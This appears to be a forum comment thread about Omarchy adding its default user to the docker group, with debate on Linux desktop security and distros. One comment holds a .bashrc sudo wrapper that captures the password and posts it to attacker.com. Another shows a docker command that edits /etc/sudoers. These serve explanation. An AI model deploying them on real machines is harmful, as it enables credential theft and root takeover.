Been using Linux on and off for 30+ years and I’ve always always had second thoughts about using anything outside the main 3-4 distros, and I mean forks, blends etc. let alone vibe coded distros, even *buntu feels like a stretch.
I really like DHH’s enthusiasm and what he’s trying to do but I will never touch that “distro”.
Debian/Devuan, Fedora/RHEL/Alma/Rocky, Arch/Artix, FreeBSD/OpenBS/NetBSD are all anyone will ever need.
You feel more adventurous? NixOS, Gentoo, Slackware, Void.
That’s it. No forks, no blends.
I keep Xebian and LMDE ISOs in my flash drive to show people but I don’t personally use even those.
People jumping all around these new distros that only seem to change a wallpaper without knowing the basics is a bad choice, like the first comment says, isn’t this the reason you wanted to move away from Windows in the first place?
Just take your time and enjoy learning, they are all so simple today compared to decades ago it’s crazy.
Thank you for listening to my TED talk.
I once used this to recover lost sudoer access to a machine (have tested this now by editing my sudoer file with a comment):
~ docker run -it --rm -v /etc/sudoers:/etc/sudoers ubuntu bash
# apt update && apt install -y vim
# -- edit /etc/sudoers
# wq!
~ exit
~ sudo cat /etc/sudoers - works, comment is present
For haters: ignore them and recommend your favourite. For lovers: lobby the developers to raise their standards.
Basically every other distro is: choose one of these 10 filesystems, 5 bootloaders and 20 desktop environments
There's no doubting the brilliance of DHH and folks working on it. What if that went to into making a better UI, Desktop like Mac. After all Apple did that so well when they moved to Unix core.
> I reported this issue privately through the project’s responsible-disclosure process. The underlying configuration has since been patched, so I’m publishing the details now to explain what the issue is and let users know to update their systems.
some people who actually care about security will create bubblewrap/bwrap profiles for applications and then run those profiles. an application isolated in this way will have a limited view of the system much less the ability to modify it. it usually takes the form of a custom /home for every app.
this still leaves the kernel exposed for an application to poke at and maybe escape with a 0day. some people run a VMM to further isolate the application, these days you can passthrough Wayland. if the application isn't graphical you should probably use gVisor instead.
So this is a problem in Omarchy specifically since it does the dangerous thing silently and by default while everyone else tries to inform the user of the consequences.
Something about a controversial personality pushing a window manager install script is really appealing to people I guess. At least it brings awareness that other desktop paradigms exist. Although after years of ‘optimizing’ my tiling window manager I just ended up back on KDE.
Like if I have something on my dev machines which is important from an enterprise perspective it is the credentials that I use to check things into the git repository or log into the postgresql database that are in some file or keyring or the credentials I used to log into some corporate IT system with my web browser. Or the Microsoft Word document with confidential plans, or the spreadsheet with personal data on 30,000 people that I don't really need to have, etc.
The "root" barrier is of limited effectiveness against those sort of attacks but the barrier between users is less important on a personal computer as opposed to the "minicomputer" world that gave birth to Unix.
In 1989 my school had a cluster of Sun Workstations running Unix for which student, faculty, and staff had accounts and it was a real threat model that you might steal the homework assignment of another student or you might take screenshots of the screen of the computer center's director that would let you watch him reading his email his email and such.
I more concerned that Apache is running under a "httpd" account or IIS is running under its own account so that I do have controls on what can be exfiltrated by that route but...
The modern developer is likely booting up a sinatra or JAXB or a httpx server on some high numbered port running as their own user so if they're going to get hit with data exfiltration or remote execution against a dev server the scope is most user files.
Docker has supported running rootless mode for years. I packaged the docker-rootless into Arch/AUR over 4 years ago, so it's been around and stable that long.
Sure, on a server dedicated to running docker containers, maybe it makes sense for the marginal improvements to network latency. But otherwise, rootless should always be the default.
Previous attempts with Ubuntu and PopOS! never stuck.
1. Having access to the user's home directory is way more serious than being able to install drivers or whatever
2. There are a million other ways to escalate to root by obtaining the user's password
I also don't understand the point of these distros, just install Arch with KDE via archinstall, it literally takes 15 minutes. Why is it that people feel the need to use someone's Arch setup?
He's bashing and insulting all engineers and then asking for their contributions and complaining that not many people are committing code in open source repos.
In any case, another reason to upgrade to Quattro! I just hope my 30€ Chromebook can handle it as well as it handled 3.
Every day I wake up and thank the universe for MS making WSL2
The fact that it is almost an anagram of monarchy is probably a plus for DHH.
I spend way too much time online; but it's good to know I am not this terminally online.
I don’t know what a DHH is though, probably not important.
I gotta say, that is not the most important takeaway for me; rather, "don't walk, run".
He's not like me. I've never posted racist hate filled rants to the internet.
The macOS situation is even worse in that the kernel lacks the requisite capabilities.
So all the safe boring stuff that gets released is just a defense mechanism, where people avoid going too far in and direction to avoid being accused of having bad taste. Ironically, this creates its own lack of taste. This lack of taste is usually just ignored as boring, rather than attacked, so it feels safer.
At least that’s my read on it.
(example: NetworkChuck, Primeagen? and a few others)
also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it
I think nowadays using quickshell anyone who is so inclined can vibecode their own UI though. I recently made the switch to Wayland/hyprland and rebuilt my polybar on quickshell, even adding widgets that allow getting system info/fine grained system control (interactive Bluetooth, WiFi, Volume, Brightness etc).
But in all seriousness, I am running omarchy now, and I will almost definitely be switching to arch at some point in the future.
Average Theo Video: https://www.youtube.com/watch?v=h1p9zdUtUdo
100%! When the US attacked Iran, they became experts on wars; when Iran closed the strait, they turned experts on foreign policy, diplomacy, and negotiation; they were doctors during COVID; now they are SME in flooding and disaster control after the Nepal incident.
You only get 6 months of updates, at which point everything break subtly, or not if you use nvidia.
ubuntu with a custom GUI is the way forward, at least compared to fedora.
UI is crucial. If people want something easy to use out of the box without spending days to configuring it
So this kind of "vulnerability" doesn't seem that important. If you run code as yourself on Linux it owns you.
On macOS it's very different. Pervasive code signing gives all apps a stable identity enforced by the kernel that they can't easily escape. The kernel can then impose sandboxing policies on any app that's run regardless of how it's installed, for instance, preventing apps from rummaging through ~/Documents or monitoring your screen. Permissions are editable and guaranteed to stick, including across upgrades. And root is disempowered so obtaining it barely matters, it's only really there for UNIX compatibility.
Unfortunately implementing an Apple style architecture on Linux would be very difficult.
Malware just need to put this in ~/.bashrc and wait:
function sudo () {
realsudo=$(which sudo)
read -r -s -p "[sudo] password for $USER: " password
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1
$realsudo "${@:1}"
}https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8...
Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?
> The security tradeoff was made for them, applied to the default account, and the tradeoff was not explained to the user.
just like the vps era. it's all about convenience.
> Podman works much better than Docker today.
Nah absolutely not. Especially compose files and networking can be an absolute nightmare with podman.
Omarchy looks like a simple way for a developer like me to test drive hyprland and write code. It also looks like a great way for my kids to get into computers as there's an agent harness ready to help them manage their machine and use free software, even the stuff that's a bit obtuse.
I'm bewildered that people are mad about any of this, but then I remember I don't care what the gatekeepers think anymore.
And sadly, this stuff isn't bewildering at all. We saw it happen with LARBS, we saw it happen with Manjaro, then Archlabs, and now Omarchy too. All of them endangered themselves by shipping dotfiles that none of their users understood, and few of their developers would justify. When Manjaro's repos conflicted with AUR pkgbuilds, thousands of their users didn't understand that Manjaro had a special repo override for system packages that lags 2 weeks behind upstream. Omarchy tempts the same fate by stacking custom packaging channels and pacman scripts on-top of a system that gets advertised as "regular" Arch Linux.
Distro variety is always a good thing, but there has always been different levels of commitment to it. If I was putting together a Linux system for a kid or someone elderly, I'd just give them Fedora/GNOME instead of trying to get them into larping r/unixporn.
I've been running various Linux desktops since the late 90s and every single distro without exception has eaten itself from updates...except for Manjaro which I've been running exclusively now since 2018 without so much as a hiccup.
Two-week old packages is nothing. The most popular Linux distributions aren't even rolling distributions and they'll have you using packages that are years old.
Practically every distro suffers from critical LPEs, but at least there’s a bar.
Omarchy is a hot mess that exists for the same reason that matcha is in our coffeeshops and peptides are in our collective memory.
they just keep pumping out short form videos or yapping heads talking about how they use x to do y better than any of the old stuff...
I think this is the OP's point. they all exist because there is a lot of noise about them existing and being used.
It comes preloaded with friggen ZOOM. I don’t think Windows bloat is that bad.
If it makes people happy it makes people happy I guess. These guys trying it would be even more amazed at Fedora Workstation (“you can press windows and it shows all your open windows? That’s so much better”)
Isn't Rails highly opinionated with a focus on being batteries-included? I'm not defending the choice to include Zoom but a batteries-included (for better or for worse) distro is exactly what I would expect from the creator of Rails.
I guess while coding it is nice, but I can switch between the terminal and my editor in a single key in Ubuntu itself so I don’t see the point of this.
Niri for example, tiles but additionally introduces an infinite horizontal space, where you can slide between different windows like they’re on a film strip. The slide into view works with a mouse, and you can easily setup mouse bindings to move and reset windows. I think it’s better than just a stock floating windows manager because it feels easier for me to navigate an infinitely wide left-right and up-down space as opposed to an infinitely deep space into and out of the screen.
They run completely unsandboxed and are unvetted.
On a fresh install of Ubuntu Server, the first user created is part of the lxd group, can install lxd without root thanks to snap, and can immediately create a privileged container with the host's root filesystem mounted inside.
Is there a name for a phobia of yt thumbnails?
I wouldn't even consider that a vulnerability tbh, every personal laptop I had I add myself to docker group. Yes, you can not namespace pids, filesystem, etc, and get root, but it's never mattered.
If someone can run that docker command, they can already read your whole homedir, edit bashrc, etc etc,. and sudo is useless anyways.
Only on a system where you are a user without sudo access, does it even begin to make sense. And if you go to the trouble of intentionally setting up a user without sudo access, you wouldn't be adding that user to the docker group either. In the default install, I assume omarchy adds you to the sudoers as well, making this a perfectly ok thing to do
Even if you participate in the esteemed Red Hat Security Theater and use wayland, flatpaks, etc, most flatpaks can write anywhere in your home dir, so they can do this too.
On standard linux desktop, sudo is not really security, but it is a UX improvement as it adds friction to accidentally doing things to the "system".
[I don't use omarchy]
> Omarchy configured its default user as a member of the Linux docker group.
What the fuck? Docker makes it VERY, VERY clear this is unsafe. Feel free to verify the documentation.
https://docs.docker.com/engine/install/linux-postinstall/
Why would you want to make this the default for your users, without even telling them? Did someone configured his own system to work this way and decided it is a good idea to ship it as a part of an "opinionated" distro??? Makes you wonder how much other crap is there.
I see almost zero reason for anyone to use anything else for they’re base system at this point.
Im not an Omarchy user but we now live in a world where most of the actions (including ones the llm asks users to run as root) originate from somewhere other than the users brain.
There will be a reckoning in terms of how we think about trust and auth in coming years. It’s just a matter of increasing severity of incidents .
I like playing around with Omarchy since there are a lot of interesting ideas put together in a semi cohesive 'OS', but would probably not use it for anything serious until it became a bit more mature.
The fundamental problem linux distros have is that they dont agree on a fundamental set of libraries, user experience, or have a stable abi. We've had minimal disros before, we've had maximal install-everything distros before, and we've had special purpose distros before (ie knoppix, mythbuntu, Kali). But the same adoption problem remains.
Afaict Google and Valve have managed to meaningfully move things forward with chromeos, android, and steam OS. Tools like flatpak and others also have made a difference.
But if you're really going the typical distro route, it confounds me what the point of going outside of the typical and common debian/redhat/arch systems are especially when its one guy. Hell, I still remember SprezzOS (Nick Black's Distro) and that thing had more real goals worth praising than anything I see from Omarchy.
I can fire up a Linux terminal with WezTerm and WSL2 at any point. It's customized and beautiful and totally fine. I have Codex running in one right now. I can listen to Dolby Atmos music through Apple Music or fire up a game with zero compatibility issues and full RTX support. It's just versatile like nothing else. I pair it with a gigantic 48" LG OLED TV as my monitor.
The only thing that might tempt me away from this is a fully loaded Mac Studio with 512GB of unified memory. That would be a real capability gap from my current machine. But I've contemplated wiping Windows and installing Omarchy, and I just can't figure out really what I'd gain, but what I'd lose is quite clear.
Agents are also able to tweak and debug Windows errors, since the registry, group policy, event log, and other Windows internals have been largely unchanged for 25+ years and are well documented. All have old command line tools or modern Powershell to manage.
> Unfortunately implementing an Apple style architecture on Linux would be very difficult.
The apple apps kind of thing already exists and its called flatpak.
Flatpak is just a cheap container copy. Can't do anything beyond what cgroups and things like apparmor and selinux can do, and uses a runtime to do soft higher-level policy functions that translate down to the same primitives. If anything, it's a great bundler, but doesn't do anything new policy-wise.
So, can you get the macOS-level capabilities (both low-level and higher abstractions)? On Linux, yes, but they don't exist yet. On Windows: technically possible, but since that would break most GUI workflow it's not likely that anyone is going to bother, and you're going to have a hard time recompiling windows yourself to make that happen.
FlatPak's security architecture is an attempt to sort of head in the same direction, but they are a decade+ behind and will probably never get there.
You can use Linux's sandboxing functionality to make a pretty hardened server. If you take in mind the physical deployment and go the extra mile, it can be very secure. The Linux desktop is not and will never be secure in its current form from things like extremely basic local malware. You would have to redesign much of the desktop stack from the init system downward so you could easily do things signature-based identity, proper per-identity secure storage and key management, securitizing elevation of privileges, getting rid of setuid, etc.
On desktop Linux as we know it, yes, but Android manages it alright, mostly via SELinux+seccomp.
As a QubesOS user, I beg to differ. Just because most Linux distros are negligent with sandboxing does not mean all of them are.
I’m sorry, what? MacOS’s desktop sandboxing is pathetic. Sure, it kind of sort of tries to prevent an application from rummaging until you give it permission. And that permission is hilariously coarse grained, and it gets regularly broken anyway. (Seriously, read about TCC breaks. They’re not little implementation errors — they’re giant gaping holes in the whole concept.) The entitlement mechanism basically serves to help Apple restrict what developers can do without meaningful protecting Apple’s users.
If you think that it protects you when your Mac prompts to ask whether Terminal.app may access Documents, you are welcome to enjoy your warm fuzzy feelings.
> Unfortunately implementing an Apple style architecture on Linux would be very difficult.
Why would it be difficult? I think that mostly it would reveal to whomever implemented it how useless it is.
If you mean sandbox-exec, you can do this on Linux, too. And the Linux mechanisms are not considered deprecated and undocumented, whereas Apple steadfastly refuses admit that sandbox-exec is a real mechanism.
The sandboxing isn't bad. It's obviously weaker if you do everything in the Terminal and stay in old-school UNIX territory because it wasn't designed to sandbox developer workloads. But it's a lot better than nothing, which is what Linux offers.
The OS does actually protect you when it asks if the terminal should be able to access ~/Documents. You can say no, and then random stuff you curl|bash can't read files in that folder unless there's an exploit. Apps that opt in to app sandboxing are much better protected and can store files/settings in an area of $HOME that other apps can't access at all without the right permissions.
It would be difficult to do on Linux because an Apple style architecture requires apps to systematically use the blessed OS APIs for functionality. Not only for things like file pickers but also camera access, storing preferences, etc. In Linux it'd require the architecture to be tied to a specific desktop environment and associated set of apps. There's not enough consistency otherwise.
It also needs pervasive kernel enforced app identity and equivalents to Apple's bookmarks, Mach context propagation, SBPL, app containers architecture etc.
It also needs an agreed on way to handle malware reporting and detection, out of the box, and some authority that's trusted to hand out sensitive permissions (for writing debuggers, if nothing else).
You can hack something together with bits and pieces Linux has, and define a way to write apps that delivers something like Apple's architecture - as Android has - but that won't bring the ecosystem with you. And it will suffer from a high degree of centralization where distributors have to approve every app, with any app you get outside your distro's package repositories being a free for all. Apple's architecture allows apps to be distributed outside the app store while still being sandboxed to a lesser or greater extent, as well as scanned for malware ahead of time and located anywhere on disk (by extension, you can have >1 version of an app installed at once and sandboxing still works).
Bubblewrap works.
I was also unable to find any Flatpak that has access to the home directory when installed, you may well be right but I couldn't find any. I used Flatseal to verify the permissions: https://flathub.org/en/apps/com.github.tchx84.Flatseal
I'm also of the opinion that we generally shouldn't use software that we don't absolutely trust. That has kept my .bashrc (and other files) safe so far.
I have my own opinionated Arch / niri set up and there's 1155 packages installed. That's 1155 opportunities for a package to be compromised. This is also why I try very hard to avoid the AUR and only use it as a last resort (I use 2 packages from it). It doesn't guarantee safety but the official Arch package repos do seem to have more checks and bounds vs the AUR.
However, one still SHOULD NOT allow untrusted software arbitrary read/write access to their $HOME, even on a completely secure (and thus, imaginary) OS. No reason why every App X should have access to the files of every App Y.
Your solution helps mitigate hardware keyloggers, which is great, but for malware in your home directory, it offers no advantages.
You just need write access to .bashrc or similar.
> This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges.
Unprivileged malware will be waiting with a root payload ready to fire the next time you tap your yubikey.
It's a niche, but it's real. Esp. if you're targeting npm installed user scripts or similar
They didn't say anything about overwriting the sudo binary, and that is not required, which I think was their whole point was to show exactly how that is not required.
Start a docker container with the docker socket mounted in the container and now you can have yourself mount / as rw. Everybody knows this. How is everybody so shocked here. Many instructions online tell you to make yourself part of the docker group for convenience (like the digital ocean one).
I don’t understand how this is a question.
What’s different is that it comes configured this way out of the box, silently, without warning. It’s functionally equivalent to opting in to giving all user accounts root privileges, which is not what anyone expects the default configuration to be.
You can choose to configure your installs this way if you choose to do so. It should not come this way quietly by default.
I don't, and I migrated to Podman because Docker is poorly designed and full of footguns. For example, it it will silently overwrite iptables rules and punch holes in your firewall.
You may do that, but I don't. I always use sudo to manage the few docker containers I need, and I prefer podman where possible specifically because I can run it rootless.
If you want to give your user passwordless root for convenience, go ahead, but that should never be the default.
Either way though, I would hope it's self-evident to most that taking glaring security holes in a single app (docker) & transforming them into glaring security holes in an entire OS is generally not desirable.
I didn't know this.
If you are asking concerning security, the answer is that it’s an insecure default that should have protected an unwitting user.
If you are asking concerning consistency with real world situations, then there is no difference and it feels like the fit is over a somewhat controversial figure (DHH) and how he created the distro’s recent release without reading any of the code himself. The counter is that no one installing a distro actually understands how their distro is configured, and trusts someone else’s judgement. Here that judgment was farmed out to AI, and while that is controversial, the uncomfortable truth is that this is how an awful lot of real people are told to configure their Docker installations.
IMO Docker running as a root daemon is a bad idea in the first place and I’d much rather use Podman’s rootless containers.
OP’s point exactly - it seemed somehow in their vibecoding workflow, they forgot to even do a human architectural sniff test for the stuff everyone knows. It reflects very negatively on them.
the tech might gets fixed later.
More like, don't use Omarchy, or vibecoded Operating Systems.
Running a descriptor into a shell command is laughably sloppish.
I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.
The problem I've always had with trying out a tiling window manager like hyprland is you're going to spend a very long time trying to get everything just right. With Omarchy I get a really nice hyprland setup right out of the box.
Also the community is large so there's usually someone that has already had your issue and resolved it. The amount of themes and plugins are growing everyday.
A bare arch+hyprland install really feels terrible to use and has a much larger barrier to entry than Omarchy.
Omarchy aims to find a middle ground between those two.
I should have gone with something like cachyos as games are important to me, but I think at the time hyperland wasn't an option (i don't remember). I know it is now.
Personally I've never really been into it, and these days I have a broad and revolving set of machines I have to use, so this sort of thing is absolutely not worth the bother. I just install KDE Plasma and use the computer.
Having to know like 5 keybinds and no taskbar is absolutely the point and it's a beautiful concept of how to use your computer. And it works, if you are open to relearning just a bit.
Whoa! You have to _learn_ something to use it well? Yikes. Not for me.
I can open Pi and ask it to fix some window tiling issue, help me install shortcuts, help me figure out how to install flatpak vs appimage, etc. the list is endless. I cannot see myself going back to a legacy OS unless I'm forced to by my job for compliance reasons.
Why is the list endless? I don’t even remember the last time I check or change any on my mac settings. And my unix things haven’t been touched in months. My debian server is basically frozen at this point.
Really good reminder I gotta say
Also, the statement was valid because it will be true for most. It doesn't matter that you read it and it wasn't true for you, as long as it's true by the numbers, it's true, because it's one-to-many communication not one to one.
I guess this LLM coding wasn't "Responsible" enough. hahaha
Let the AI bubble pop baby
It's not the same thing as allowing some AI contributions under strict guidelines.
It was already hard to have technical conversations in public, now there is a contingent determined to make it utterly impossible, and they are succeeding.
Rootless docker is perfectly fine.
As an official configuration? Or in random copy paste guides? The former is very different than the latter. It's not uncommon to disable sudo passwords, but it would be considered a serious security lapse if that were the default on some OS.
Adding the user to the docker group by default, out of the box, is Omarchy-specific.
EDIT: More accurately, was Omarchy specific, until they realized that it's not a good idea and changed it.
However, I agree that it should be opt-in. Docs should be more explicit about that too, they should warn users about risks of going with that option. That excerpt mentioned in the article was rather misleading.
No, it does not[1]. LXD:
- explicitly warns against this mode of vulnerability. Of course, there's no protection against people who blindly run commands copied from the internets, but the official documentation, at least, for as far back as I can recall, has had clear warning boxes against this, with explanations.
- does not have the track record of bad design that docker has had (IMO).
- supports fine-grained ACLs and user management.
----
[1]: https://ubuntu.com/blog/shared-development-environment-with-...
Easy to remove. Can even open your favourite AI assistant and ask it to remove it, since it comes with an Omarchy skill and knows how to change everything.
See this is where its going too far IMO.
When you setup rails, you get far fewer "batteries" by default.
Its batteries included, but opt-in to be included.
That is totally different from installing an OS and having bloatware already included.
It'll get there with enough community support hopefully, but the current state is very rough(much like early rails)
So far its the best Linux Desktop experience I've had, and I hardly have to configure anything out of the box, most of it just works.
It's that simple.
Plus, many pre-installs (like Zoom) are web-apps that take no space (30 lines of text) and are easy to remove if you don't want them in the menu.
Isn't that the entire selling point of Omarchy?
At the very least they could have documented this sort of security trade-off if it actually is an intentional choice.
If you are security-conscious, you shouldn’t be using docker anyway.
TFA spells out why this is wrong better than I could.
> There is another important aspect of this configuration. It was opt-out, not opt-in. A user did not have to actually use Docker. The security tradeoff was made for them, applied to the default account, and the tradeoff was not explained to the user.
> Security-sensitive defaults matter precisely because many users reasonably assume that the operating system defaults to secure and will inform or prompt them to opt-in to less secure settings.
Perhaps Omarchy shouldn't have shipped this by default, but the whole point of the system is to be DHH's personal computer just the way he likes it (to include not 1, but 2 shortcuts to Twitter!) - all his products are that way and largely the reason why I don't ever think I could use one long term.
Well, it's not unsafe because anyone who can exploit it has already fully compromised my PC. It rather involved being on the other side of this airtight hatchway. But I didn't know that putting an actually locked down account in the docker group was unsafe.
just look at all the comments "this is a fair and common mistake" that are not being ironic.
Or you could use one of the Universal Blue spins. Bluefin and Aurora have non-free stuff built in and you can install pretty much any package from anywhere.
And on the server side of things, I ran a Fedora CoreOS VM with a Pihole container that silently and successfully auto-updated both the OS and the service container for years with no intervention on my part.
Worse, it wasn't my job to support those machines, its just my department needed cuda and I was the slowest person to run away when they called for help.
- JaKooLit’s Fedora-Hyprland Repository: https://github.com/JaKooLit/Fedora-Hyprland. The most popular automated setup guide and installer for Fedora, bundling Hyprland alongside pre-configured bars, launchers, and
- Official Hyprland Wiki: wiki.hypr.land/Getting-Started/Installation/. The main reference guide for core configuration options, environment variables, and Wayland portal requirements.
- Solopasha Fedora COPR copr.fedorainfracloud.org/coprs/solopasha/hyprland. The primary community repository hosting cutting-edge builds of Hyprland and its ecosystem packages for
- Fedora Discussion Tutorials: discussion.fedoraproject.org. Community walkthroughs covering minimal netinstall setups and distro-specific Wayland troubleshooting.
Musician, singer, novelist, comedian, actor, producer
What?
Its perfectly possible to master two things. Video production isnt _that_ hard. Especially as lighting, shooting adding graphics and editing film is much much easier than 10 years ago.
mind you it also feeds into LLM output. Confident bullshit is better than "I dunno"
or did you think onlyfans?
Qubes is the least bad option for laptops (until Stagex Work ships which I am designing) but there is no reasonable server OS.
I am ripping off the best ideas from xen/Qubes and starting over with: https://distrust.co/blog/enclaveos.html
When Unix was designed, the smallest computer anyone could buy was about the size of two of today's server racks and was called a minicomputer.
Psst. There's also this, in typical KDE style: https://github.com/aeroshell-desktop/uac-polkit-agent
I've been using arch for over 10 years btw.
It's not that we shouldn't use vibecoded distros. It's that we shouldn't use badly vibecoded distros with shitty or non-existent processes.
On macos i currently virtualize the process itself, but this has virtualization overhead and some emulation overhead because macos does not let you map all the host process pages to a guest.
You can probably get by with mprotect or mach internals, but if you're developing at that level you've probably already either implemented or dismissed that.
It's a bit of a different architecture with PAC/MIE/APRR (and to a degree AMFI) being used to prevent abuse that would require syscall filtering in the first place. While I personally don't think that's airtight, it does appear to work out well for their ecosystem.
Edit: come to think of it, region-based call filtering is never really going to be enough on its own, if you don't combine it with other techniques it's basically a rop gadget fest. Probably also why SBX went for intent rather than trying to do it based on location/origin.
To be at risk, you'd first need to publish your application. The attacker would separately have to figure out how to identify and access your computer for attack.
"Think outside the box and dream!"
"Here's a world clock widget."
https://docs.docker.com/engine/install/linux-postinstall
If the official sudo project had a guide on how to disable passwords, that shouldn't be taken as endorsement of having that as a default config.
Arch is second only to Guix in terms of supply chain security for desktop distributions, but both still have a threat model that cannot tolerate a single laptop compromise.
Stay tuned for stagex for workstations. https://stagex.tools
[0]: https://gitlab.archlinux.org/archlinux/signstar
I wanted the freedom to change and "rice" my desktop however I wanted, and the Compiz cube looked awesome. I found Windows condescending and restricting in that regard. Yes, my first reason was the aesthetics, kick me out of the nerds club. (That was also the reason I switched to Mac for 10 years).
My second reason was that I suspected I could learn so much more about computers using Linux full time. And I did.
I was also younger and used to associate Windows with soul-sucking corporate jobs and Linux with new ideas and experimentation. It was us-vs-them. Open Source vs Micro$oft and all that vibe.
The statement seems more like a preconception than data.
I’m just pointing out the level-set that I’m sure the first time someone installs docker and tries to use it, chances are they are just going to install themselves in the docker group without considering the impact and continue on their day.
And arch Linux specifically ships with nothing!
6GB is 3x larger than most other distros. It is kind of mental.
Learning the hotkeys in Omarchy is a bit of a process, but there is a hotkey to show the hotkeys lol (super + K) - and once you get used to them, its super productive, at least to me.
Ironically, the right fix is to replace human moderation with AI. Every so often I think about creating an HN or old-Reddit style discussion website that gets rid of user driven moderation entirely in favour of "polite but free speech" rules, assessed by LLMs on the fly, along with ways for users to label comments with various adjectives for both their own filtering and training a RecNet. A bit like a mashup of Reddit, HN, Slashdot and new ideas.
Doing that from Europe is tricky due to the lack of the first amendment, but could be worth a try anyway. It could probably be sold to an American if local laws become too difficult.
Any interest in such a site?
On workstations I install almost all software to ~/.local as the home partition is writable. I also put all my systemd user units there, so I can run any binaries I compile as a system service to survive reboots as I like all without root.
The system root partition should contain a kernel, init system, and run any essential shared services unprivileged and fully/mostly stateless. Given that, I like to compile them all into a single UEFI uki image that contains efi shim, kernel, init all in a single binary that lives in the FAT32 UEFI partition.
The only reason to touch it is when you need to update your init system or kernel, which were always going to require a reboot anyway unless you get really creative with kexec. In an ideal situation the uki bundle is so generic that it is built deterministically in multiple locations and signed with a secure boot key. Then you can just straight up allow users to write to the boot partition, knowing any unsigned image that is not newer than the current one will be detected and also not allow access to the encrypted disk. The permission for that one update path can and should be external, and the result of a deterministic build matching a known hash, so you can prove it is not compromised. This could of course be automated by a distro with a UEFI wrapper or coreboot so users with no desire to customize their kernels do not have to think about it.
I am pursuing these ideas in stagex, first for secure enclaves and servers where we need it most, then for desktop. Until then Qubes is the least bad option.
stickynotememo: "How would you install packages (or update the kernel)?"
You: «You'd use sudo or su (of course) but I'm going to distract you from that with an advertisement for the work I'm doing on my personal project!» [0]
But, perhaps I misunderstood what you wrote. So... I'll ask stickynotememo's question in a different way:
How would a user of your system update the Systemd collection of software to apply a critical security update?
1) How does the data in that root partition get rebuilt? If it's on another computer, how does one control access to the root-partition-rebuild computer?
2) How does one instruct the user's computer to use that newly-rebuilt root partition? How does one control access to the system that permits one to load a new root partition and/or change which root partition to use?
3) How does a user recover when an update fails or is faulty in a way that your smoke tests didn't catch?
[0] Personal projects are great, and I strongly encourage them. However, the way you've answered is what a greybeard would describe as "pulling a fast one". Pulling a fast one does not earn trust.
I happen to hate Omarchy for the precise reason I don’t want that sort of interface, but apparently everyone else does, and if they do that’s up to them.
Also beside that they use ancient package alongside Archlinux. One of those being Chromium. It also used to use Chaotic AUR but now they just automate packages (every 6 hours) in their own repository without any maintainer intervention so it's still open for supply chain issues.
Unfortunately, it's hard to classify something as a "rookie mistake" when the developers behind the most revolutionary enterprise tech in the world have accepted it as "by design" & just put a hard-to-find disclaimer about it on one single page of their dense docs.
It certainly does help quell imposters syndrome whenever it creeps up on my though.
As an avid Docker user, where should I begin reading about these issues?
You type "sudo" and it runs an unprivileged sudo wrapper, and prepends your sudo command and runs real sudo. You tap, and your intended command runs as root alongside the attackers command.
You need a separate trusted OS to do privileged workflows from. Your setup would be effective if you were using an OS built for that kind of thing like QubesOS.
In my setup every app runs in a dedicated VM with a fake proxy smartcard, that routes to a real nitrokey in a hardware isolated and offline VM. That offline VM can be like "do you want to authorize a tap for aws.amazon.com" and I can be like "not today malware. I asked to login to doordash. nice try"
https://starlabs.sg/blog/2026/06-old-wine-in-a-new-bottle-a-...
And yes, I've tried it myself, it works as advertised.
I mean, this is a setup that ships with a default password that's the same as the username, and the first thing I do on all my server installs is disable all default user accounts and enable passwordless sudo.
From reading other docs of Ubuntu Server, it appears they relax the root/non-root distinction in other ways too. But I'd probably never have suspected this particular vector of vulnerability.
I'm afraid that isn't really any better. If the attacker is in position to exploit membership in the docker group, he already has access to the user's .bashrc. He can simply write a function called sudo that wraps the real command and records your password[1]. Unless the user always invokes sudo with /usr/bin/sudo, docker group membership doesn't really make a difference.
Once malware runs as an administrator, getting access to root isn't really that complicated. The boundary between wheel and root is more or less security theater.
[1] https://gist.github.com/tokyoneon/34ce1c9e1530a12eb392b1eab0...
Edit: Oh well, I see now that others have made the same point (https://news.ycombinator.com/item?id=49500588). With the same wording even. I'm half-way tempted to delete my comment so as not to look like a plagiarist, but it seems many posters are unaware of the vulnerability, so I'd leave it here.
Also you will want to do the same to .profile (because of LD_PRELOAD etc). And also do the same to any directories in your $PATH (~/.local/bin etc)
Absolutely wrong. Windows is both and it can be 100% keyboard driven.
cursor up/down, page up/down, or F3 to search, hitting enter to follow directories, until you reach the key.
Hit enter on the key. The values will be displayed.
Hit tab until you are on the key you want to edit.
Hit enter. A popup with the value will appear.
Type the new value, hit enter.
A much more painless process than I anticipated, honestly, and it refreshingly uses the same conventions that used to be used everywhere in windows.
There are many well established patterns for further segmenting user workloads, once far removed from real system root which is there is no good reason to expose. In my case each of those unprivileged apps runs in a dedicated virtual machine because I use QubesOS, though for many use cases gvisor or even containers (user namespaces) would get the job done with less overhead.
gvisor in particular helps you further reduce attack surface for root. It is possible to have your baremetal kernel not even have network support compiled in, and delegate all networking entirely to user-space inside gvisor.
No need to use a whole distribution with 1000 other poor decisions made for you.
I used Vim for a decade (and Linux for much of that time) and the constant tweaking and changing things drives you mad after a while. The more you invent it yourself the more it changes. This is why I prefer MacOS+VSCode these days, which comes with good defaults and simpler VIM-style bindings.
Omarchy sounds like those popular vim configs such as https://astronvim.com/, which I also tried using and also ended up heavily customizing myself. It provided some nice defaults as a baseline but was ultimately comes with too much hyper-customization (which has a lot to do with vim/neovim trying to act like other more modern editors).
That said, I think Arch Linux itself has a culture that values the wrong kind of simplicity (implementation simplicity) that perversely leads to a failure to adequately grapple with inherent complexity. This leads to brittle implementations, "buyer beware" norms, "you should have run the notes", "this command should never be used", etc. Omarchy inherits all of that from Arch. It also, it seems, carried its own perverse notion of "simplicity".
In the AI world, security issues are just another marketing opportunity.
EDIT: Downvote all you want. He was anti-AI, got a board seat at Shopify and then became an AI influencer. Now additional money is rolling in to Omarchy from Lütke and Steinberger.
No desktop system is safe from your attack, unless you take specific precautions like chattr on the file or chmodding your home directory, but that can lead to weird breakage.
No. Setting flags requires root privileges, sudo was implied. At least on my system.
> Also you will want to do the same to .profile (because of LD_PRELOAD etc).
